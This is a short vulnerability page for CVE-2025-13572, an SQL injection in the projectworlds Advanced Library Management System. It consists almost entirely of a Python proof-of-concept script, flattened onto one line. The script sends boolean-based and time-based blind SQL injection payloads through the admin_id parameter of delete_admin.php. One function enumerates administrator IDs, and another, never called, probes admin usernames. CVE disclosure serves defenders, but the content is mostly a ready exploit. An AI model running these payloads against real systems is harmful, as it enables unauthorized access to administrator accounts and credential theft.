CVE-2025-13572 | projectworlds高级图书馆管理系统SQL注入漏洞

import requests target_url = "http://target.com/delete_admin.php" # SQL Injection PoC using boolean-based blind injection def sql_inject_admin_ids(): headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } # Extract admin IDs using boolean blind injection for i in range(1, 10): payload = f"1' AND (SELECT COUNT(*) FROM admin WHERE id={i})>0 AND '1'='1" params = {"admin_id": payload} try: response = requests.get(target_url, params=params, headers=headers, timeout=10) if "success" in response.text.lower() or response.status_code == 200: print(f"[+] Admin ID found: {i}") except Exception as e: print(f"[-] Error: {e}") # Extract admin credentials def extract_credentials(admin_id): headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } # Time-based blind injection to extract username payload = f"1' AND IF(SUBSTRING((SELECT username FROM admin WHERE id={admin_id}),1,1)='a',SLEEP(5),0) AND '1'='1" params = {"admin_id": payload} try: response = requests.get(target_url, params=params, headers=headers, timeout=15) print(f"[*] Testing character extraction for admin {admin_id}") except requests.exceptions.Timeout: print(f"[+] Character confirmed via time-based injection") if __name__ == "__main__": print("[*] CVE-2025-13572 SQL Injection PoC") print("[*] Target: projectworlds Advanced Library Management System 1.0") sql_inject_admin_ids()